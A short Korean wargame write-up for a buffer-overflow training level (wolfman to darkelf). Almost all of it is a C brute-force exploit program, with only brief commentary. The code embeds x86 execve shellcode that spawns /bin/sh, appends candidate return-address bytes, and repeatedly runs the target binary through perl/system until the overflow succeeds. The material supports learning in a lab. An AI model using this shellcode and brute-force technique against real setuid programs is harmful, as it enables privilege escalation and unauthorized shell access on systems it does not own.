[BOF 원정대] wolfman -> darkelf (level 6)

에그 헌터와 버퍼 헌터가 있다. 

이전에 사용했던 brute force 소스는 argv[1]에 위치한 쉘코드를 사용하기 때문에, 그대로 다시 사용한다. 

brute.c (최적화 되어있지 않습니다)    

#include <stdio.h> #include <string.h> unsigned char shell[48] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x90\x90\xff\xbf"; int main () { int i, j; unsigned char brute[2]; unsigned char cmd[250]; for ( i=255 ; i>0 ; i-- ) { for ( j=255 ; j>0 ; j-- ) { brute[0]=j; brute[1]=i; memcpy(shell+44, brute, 2); sprintf(cmd, "perl -e 'system \"./darkelf\", \"%s\"'", shell); printf("%x %x %x %x\n", shell[44], shell[45], shell[46], shell[47]); system(cmd); } } }